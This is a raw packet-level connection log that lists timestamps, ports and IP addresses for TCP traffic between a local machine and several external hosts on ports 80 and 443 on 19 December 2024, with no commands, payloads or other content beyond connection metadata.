Dec 19, 2024 03:09:37.623841047 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.623862982 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.624825001 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.624839067 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.624850035 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.624866962 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.624883890 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.624898911 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.624934912 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.625806093 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.625883102 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.625920057 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.625958920 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.629297018 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.629312992 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.629347086 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.629369974 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.630014896 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.630029917 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.630042076 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.630053997 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.630054951 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.630068064 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.630086899 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.630101919 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.630887032 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.630944967 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.631030083 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.631078005 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.631720066 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.631737947 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.631769896 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.631786108 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.631813049 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.631859064 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.631877899 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.631926060 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.632791042 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.632844925 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.632884979 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.632929087 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.633805037 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.633852005 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.633915901 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.633977890 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.634794950 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.634841919 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.634913921 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.634958029 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.635802031 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.635848045 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.635893106 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.635932922 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.636861086 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.636908054 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.636962891 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.637023926 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.637825966 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.637880087 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.637923956 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.637969017 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.638808012 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.638856888 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.638907909 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.638952017 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.639839888 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.639883041 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.639961958 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.640000105 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.640799999 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.640852928 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.640891075 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.640930891 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.641766071 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.641804934 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.641870975 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.641949892 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.642788887 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.642831087 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.642880917 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.642920971 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.643810034 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.643851995 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.643874884 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.643915892 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.644784927 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.644831896 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.644881010 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.644920111 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.645817995 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.645863056 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.645930052 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.645968914 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.646814108 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.646857023 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.646898031 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.646939993 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.647787094 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.647847891 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.647890091 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.647931099 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.648797035 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.648843050 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.648886919 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.648927927 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.652220011 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.652276993 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.653198004 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.653211117 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.653250933 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:38.080681086 CET	443	49905	104.21.67.146	192.168.2.5
Dec 19, 2024 03:09:38.080806017 CET	49905	443	192.168.2.5	104.21.67.146
Dec 19, 2024 03:09:38.081986904 CET	49905	443	192.168.2.5	104.21.67.146
Dec 19, 2024 03:09:38.081998110 CET	443	49905	104.21.67.146	192.168.2.5
Dec 19, 2024 03:09:38.083199024 CET	443	49905	104.21.67.146	192.168.2.5
Dec 19, 2024 03:09:38.086826086 CET	49905	443	192.168.2.5	104.21.67.146
Dec 19, 2024 03:09:38.086874008 CET	49905	443	192.168.2.5	104.21.67.146
Dec 19, 2024 03:09:38.086910009 CET	443	49905	104.21.67.146	192.168.2.5
Dec 19, 2024 03:09:38.086983919 CET	49905	443	192.168.2.5	104.21.67.146
Dec 19, 2024 03:09:38.086996078 CET	443	49905	104.21.67.146	192.168.2.5
Dec 19, 2024 03:09:39.073920965 CET	443	49905	104.21.67.146	192.168.2.5
Dec 19, 2024 03:09:39.074050903 CET	443	49905	104.21.67.146	192.168.2.5
Dec 19, 2024 03:09:39.074115992 CET	49905	443	192.168.2.5	104.21.67.146
Dec 19, 2024 03:09:39.119703054 CET	49905	443	192.168.2.5	104.21.67.146
Dec 19, 2024 03:09:39.119716883 CET	443	49905	104.21.67.146	192.168.2.5
Dec 19, 2024 03:09:39.966804981 CET	49880	80	192.168.2.5	185.215.113.43
Dec 19, 2024 03:09:39.967113972 CET	49913	80	192.168.2.5	185.215.113.43
Dec 19, 2024 03:09:40.087307930 CET	80	49913	185.215.113.43	192.168.2.5
Dec 19, 2024 03:09:40.087400913 CET	49913	80	192.168.2.5	185.215.113.43
Dec 19, 2024 03:09:40.087593079 CET	80	49880	185.215.113.43	192.168.2.5
Dec 19, 2024 03:09:40.087832928 CET	49880	80	192.168.2.5	185.215.113.43
Dec 19, 2024 03:09:40.087857962 CET	49913	80	192.168.2.5	185.215.113.43
Dec 19, 2024 03:09:40.207417011 CET	80	49913	185.215.113.43	192.168.2.5
Dec 19, 2024 03:09:40.518675089 CET	49914	443	192.168.2.5	104.21.67.146
Dec 19, 2024 03:09:40.518779039 CET	443	49914	104.21.67.146	192.168.2.5
Dec 19, 2024 03:09:40.518877029 CET	49914	443	192.168.2.5	104.21.67.146
Dec 19, 2024 03:09:40.519244909 CET	49914	443	192.168.2.5	104.21.67.146
Dec 19, 2024 03:09:40.519278049 CET	443	49914	104.21.67.146	192.168.2.5
Dec 19, 2024 03:09:41.345470905 CET	49919	443	192.168.2.5	34.226.108.155
Dec 19, 2024 03:09:41.345556021 CET	443	49919	34.226.108.155	192.168.2.5
Dec 19, 2024 03:09:41.345741034 CET	49919	443	192.168.2.5	34.226.108.155
Dec 19, 2024 03:09:41.389029026 CET	49919	443	192.168.2.5	34.226.108.155
Dec 19, 2024 03:09:41.389069080 CET	443	49919	34.226.108.155	192.168.2.5
Dec 19, 2024 03:09:41.458803892 CET	80	49913	185.215.113.43	192.168.2.5
Dec 19, 2024 03:09:41.459638119 CET	49913	80	192.168.2.5	185.215.113.43
Dec 19, 2024 03:09:41.482393026 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:41.486263990 CET	49920	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:41.602508068 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:41.603718042 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:41.605842113 CET	80	49920	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:41.605927944 CET	49920	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:41.613584995 CET	49920	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:41.733033895 CET	80	49920	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:41.740396976 CET	443	49914	104.21.67.146	192.168.2.5
Dec 19, 2024 03:09:41.740691900 CET	49914	443	192.168.2.5	104.21.67.146
Dec 19, 2024 03:09:41.746855021 CET	49914	443	192.168.2.5	104.21.67.146
Dec 19, 2024 03:09:41.746886969 CET	443	49914	104.21.67.146	192.168.2.5
Dec 19, 2024 03:09:41.747885942 CET	443	49914	104.21.67.146	192.168.2.5
Dec 19, 2024 03:09:41.753638983 CET	49914	443	192.168.2.5	104.21.67.146
Dec 19, 2024 03:09:41.753725052 CET	49914	443	192.168.2.5	104.21.67.146
Dec 19, 2024 03:09:41.753736973 CET	443	49914	104.21.67.146	192.168.2.5
Dec 19, 2024 03:09:42.541352034 CET	443	49914	104.21.67.146	192.168.2.5
Dec 19, 2024 03:09:42.541608095 CET	443	49914	104.21.67.146	192.168.2.5
Dec 19, 2024 03:09:42.541702986 CET	49914	443	192.168.2.5	104.21.67.146
Dec 19, 2024 03:09:42.541842937 CET	49914	443	192.168.2.5	104.21.67.146
Dec 19, 2024 03:09:42.541884899 CET	443	49914	104.21.67.146	192.168.2.5
Dec 19, 2024 03:09:42.942779064 CET	80	49920	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:42.942830086 CET	80	49920	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:42.942843914 CET	80	49920	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:42.942852974 CET	49920	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:42.942909002 CET	49920	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:42.943027973 CET	80	49920	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:42.943047047 CET	80	49920	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:42.943073034 CET	49920	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:42.943094969 CET	49920	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:42.943466902 CET	80	49920	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:42.943483114 CET	80	49920	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:42.943512917 CET	49920	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:42.943533897 CET	49920	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:42.943902969 CET	80	49920	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:42.943938017 CET	80	49920	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:42.943950891 CET	49920	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:42.943954945 CET	80	49920	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:42.943993092 CET	49920	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:42.944000959 CET	49920	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:43.064660072 CET	80	49920	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:43.064764977 CET	80	49920	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:43.064816952 CET	49920	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:43.069044113 CET	80	49920	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:43.069112062 CET	49920	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:43.125411987 CET	443	49919	34.226.108.155	192.168.2.5
Dec 19, 2024 03:09:43.126446962 CET	49919	443	192.168.2.5	34.226.108.155
Dec 19, 2024 03:09:43.126483917 CET	443	49919	34.226.108.155	192.168.2.5
Dec 19, 2024 03:09:43.127491951 CET	443	49919	34.226.108.155	192.168.2.5
Dec 19, 2024 03:09:43.127545118 CET	49919	443	192.168.2.5	34.226.108.155
Dec 19, 2024 03:09:43.128984928 CET	49919	443	192.168.2.5	34.226.108.155
Dec 19, 2024 03:09:43.129041910 CET	443	49919	34.226.108.155	192.168.2.5
Dec 19, 2024 03:09:43.134772062 CET	80	49920	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:43.134788990 CET	80	49920	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:43.134831905 CET	49920	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:43.134855986 CET	49920	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:43.136388063 CET	49924	443	192.168.2.5	104.21.67.146
Dec 19, 2024 03:09:43.136421919 CET	443	49924	104.21.67.146	192.168.2.5
Dec 19, 2024 03:09:43.136517048 CET	49924	443	192.168.2.5	104.21.67.146
Dec 19, 2024 03:09:43.136831045 CET	49924	443	192.168.2.5	104.21.67.146
Dec 19, 2024 03:09:43.136842012 CET	443	49924	104.21.67.146	192.168.2.5
Dec 19, 2024 03:09:43.137351036 CET	80	49920	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:43.137367964 CET	80	49920	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:43.137392998 CET	49920	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:43.137413025 CET	49920	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:43.145782948 CET	80	49920	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:43.145800114 CET	80	49920	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:43.145832062 CET	49920	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:43.145852089 CET	49920	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:43.155276060 CET	80	49920	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:43.155319929 CET	49920	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:43.168744087 CET	49919	443	192.168.2.5	34.226.108.155
Dec 19, 2024 03:09:43.168751955 CET	443	49919	34.226.108.155	192.168.2.5
Dec 19, 2024 03:09:43.220345974 CET	49919	443	192.168.2.5	34.226.108.155
Dec 19, 2024 03:09:43.489217997 CET	443	49919	34.226.108.155	192.168.2.5
Dec 19, 2024 03:09:43.489305019 CET	443	49919	34.226.108.155	192.168.2.5
Dec 19, 2024 03:09:43.489393950 CET	49919	443	192.168.2.5	34.226.108.155
Dec 19, 2024 03:09:43.521579981 CET	49919	443	192.168.2.5	34.226.108.155
Dec 19, 2024 03:09:43.521600962 CET	443	49919	34.226.108.155	192.168.2.5
Dec 19, 2024 03:09:44.354542017 CET	443	49924	104.21.67.146	192.168.2.5
Dec 19, 2024 03:09:44.354628086 CET	49924	443	192.168.2.5	104.21.67.146
Dec 19, 2024 03:09:44.482496977 CET	49924	443	192.168.2.5	104.21.67.146
Dec 19, 2024 03:09:44.482522964 CET	443	49924	104.21.67.146	192.168.2.5
Dec 19, 2024 03:09:44.482815981 CET	443	49924	104.21.67.146	192.168.2.5
Dec 19, 2024 03:09:44.484047890 CET	49924	443	192.168.2.5	104.21.67.146
Dec 19, 2024 03:09:44.484903097 CET	49924	443	192.168.2.5	104.21.67.146
Dec 19, 2024 03:09:44.484941006 CET	443	49924	104.21.67.146	192.168.2.5
Dec 19, 2024 03:09:44.485234976 CET	49924	443	192.168.2.5	104.21.67.146
Dec 19, 2024 03:09:44.485276937 CET	443	49924	104.21.67.146	192.168.2.5
Dec 19, 2024 03:09:44.485399008 CET	49924	443	192.168.2.5	104.21.67.146
Dec 19, 2024 03:09:44.485445023 CET	443	49924	104.21.67.146	192.168.2.5
Dec 19, 2024 03:09:44.485889912 CET	49924	443	192.168.2.5	104.21.67.146
Dec 19, 2024 03:09:44.485919952 CET	443	49924	104.21.67.146	192.168.2.5
Dec 19, 2024 03:09:44.486077070 CET	49924	443	192.168.2.5	104.21.67.146
Dec 19, 2024 03:09:44.486114979 CET	443	49924	104.21.67.146	192.168.2.5
Dec 19, 2024 03:09:44.486288071 CET	49924	443	192.168.2.5	104.21.67.146
Dec 19, 2024 03:09:44.486330032 CET	443	49924	104.21.67.146	192.168.2.5
Dec 19, 2024 03:09:44.486349106 CET	49924	443	192.168.2.5	104.21.67.146
Dec 19, 2024 03:09:44.486365080 CET	443	49924	104.21.67.146	192.168.2.5
Dec 19, 2024 03:09:44.486553907 CET	49924	443	192.168.2.5	104.21.67.146
Dec 19, 2024 03:09:44.486597061 CET	443	49924	104.21.67.146	192.168.2.5
Dec 19, 2024 03:09:44.486618996 CET	49924	443	192.168.2.5	104.21.67.146
Dec 19, 2024 03:09:44.487483025 CET	49924	443	192.168.2.5	104.21.67.146
Dec 19, 2024 03:09:44.487521887 CET	49924	443	192.168.2.5	104.21.67.146
Dec 19, 2024 03:09:44.531331062 CET	443	49924	104.21.67.146	192.168.2.5
Dec 19, 2024 03:09:44.531524897 CET	49924	443	192.168.2.5	104.21.67.146
Dec 19, 2024 03:09:44.531582117 CET	443	49924	104.21.67.146	192.168.2.5
Dec 19, 2024 03:09:44.531625032 CET	49924	443	192.168.2.5	104.21.67.146
Dec 19, 2024 03:09:44.531661987 CET	443	49924	104.21.67.146	192.168.2.5
Dec 19, 2024 03:09:44.531728983 CET	49924	443	192.168.2.5	104.21.67.146
Dec 19, 2024 03:09:44.531765938 CET	443	49924	104.21.67.146	192.168.2.5
Dec 19, 2024 03:09:45.314733982 CET	49913	80	192.168.2.5	185.215.113.43
Dec 19, 2024 03:09:45.315088987 CET	49930	80	192.168.2.5	185.215.113.43
Dec 19, 2024 03:09:45.491760015 CET	80	49913	185.215.113.43	192.168.2.5
Dec 19, 2024 03:09:45.491800070 CET	80	49930	185.215.113.43	192.168.2.5
Dec 19, 2024 03:09:45.491889000 CET	49913	80	192.168.2.5	185.215.113.43
Dec 19, 2024 03:09:45.491900921 CET	49930	80	192.168.2.5	185.215.113.43
Dec 19, 2024 03:09:45.492284060 CET	49930	80	192.168.2.5	185.215.113.43
Dec 19, 2024 03:09:45.611778975 CET	80	49930	185.215.113.43	192.168.2.5
Dec 19, 2024 03:09:45.646784067 CET	49931	80	192.168.2.5	176.53.146.212
Dec 19, 2024 03:09:45.766330957 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:45.766429901 CET	49931	80	192.168.2.5	176.53.146.212
Dec 19, 2024 03:09:45.768459082 CET	49931	80	192.168.2.5	176.53.146.212
Dec 19, 2024 03:09:45.888508081 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:45.888541937 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:45.888600111 CET	49931	80	192.168.2.5	176.53.146.212
Dec 19, 2024 03:09:45.888653994 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:45.888683081 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:45.888710022 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:45.888737917 CET	49931	80	192.168.2.5	176.53.146.212
Dec 19, 2024 03:09:45.888788939 CET	49931	80	192.168.2.5	176.53.146.212
Dec 19, 2024 03:09:45.888813019 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:45.888866901 CET	49931	80	192.168.2.5	176.53.146.212
Dec 19, 2024 03:09:45.888890982 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:45.888920069 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:45.888948917 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:45.888972044 CET	49931	80	192.168.2.5	176.53.146.212
Dec 19, 2024 03:09:45.889012098 CET	49931	80	192.168.2.5	176.53.146.212
Dec 19, 2024 03:09:45.889050007 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:45.889103889 CET	49931	80	192.168.2.5	176.53.146.212
Dec 19, 2024 03:09:46.008739948 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:46.008795023 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:46.008860111 CET	49931	80	192.168.2.5	176.53.146.212
Dec 19, 2024 03:09:46.009051085 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:46.009079933 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:46.009160042 CET	49931	80	192.168.2.5	176.53.146.212
Dec 19, 2024 03:09:46.009198904 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:46.009227037 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:46.009251118 CET	49931	80	192.168.2.5	176.53.146.212
Dec 19, 2024 03:09:46.009280920 CET	49931	80	192.168.2.5	176.53.146.212
Dec 19, 2024 03:09:46.056931973 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:46.057224035 CET	49931	80	192.168.2.5	176.53.146.212
Dec 19, 2024 03:09:46.173058987 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:46.173204899 CET	49931	80	192.168.2.5	176.53.146.212
Dec 19, 2024 03:09:46.220834970 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:46.341147900 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:46.341243982 CET	49931	80	192.168.2.5	176.53.146.212
Dec 19, 2024 03:09:46.544996977 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:46.545166016 CET	49931	80	192.168.2.5	176.53.146.212
Dec 19, 2024 03:09:46.776369095 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:46.776685953 CET	49931	80	192.168.2.5	176.53.146.212
Dec 19, 2024 03:09:46.776828051 CET	49931	80	192.168.2.5	176.53.146.212
Dec 19, 2024 03:09:46.827027082 CET	80	49930	185.215.113.43	192.168.2.5
Dec 19, 2024 03:09:46.829263926 CET	49930	80	192.168.2.5	185.215.113.43
Dec 19, 2024 03:09:46.853471041 CET	49920	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:46.853960037 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:46.897731066 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:46.897763014 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:46.897841930 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:46.897931099 CET	49931	80	192.168.2.5	176.53.146.212
Dec 19, 2024 03:09:46.898258924 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:46.898353100 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:46.899380922 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:46.899444103 CET	49931	80	192.168.2.5	176.53.146.212
Dec 19, 2024 03:09:46.899477005 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:46.899550915 CET	49931	80	192.168.2.5	176.53.146.212
Dec 19, 2024 03:09:46.899898052 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:46.899949074 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:46.901088953 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:46.901117086 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:46.901153088 CET	49931	80	192.168.2.5	176.53.146.212
Dec 19, 2024 03:09:46.901200056 CET	49931	80	192.168.2.5	176.53.146.212
Dec 19, 2024 03:09:46.901679993 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:46.901710033 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:46.902906895 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:46.903012037 CET	49931	80	192.168.2.5	176.53.146.212
Dec 19, 2024 03:09:46.903779984 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:46.903842926 CET	49931	80	192.168.2.5	176.53.146.212
Dec 19, 2024 03:09:46.904889107 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:46.906095982 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:46.906821012 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:46.907732964 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:46.908075094 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:46.908139944 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:46.908294916 CET	80	49931	176.53.146.212	192.168.2.5
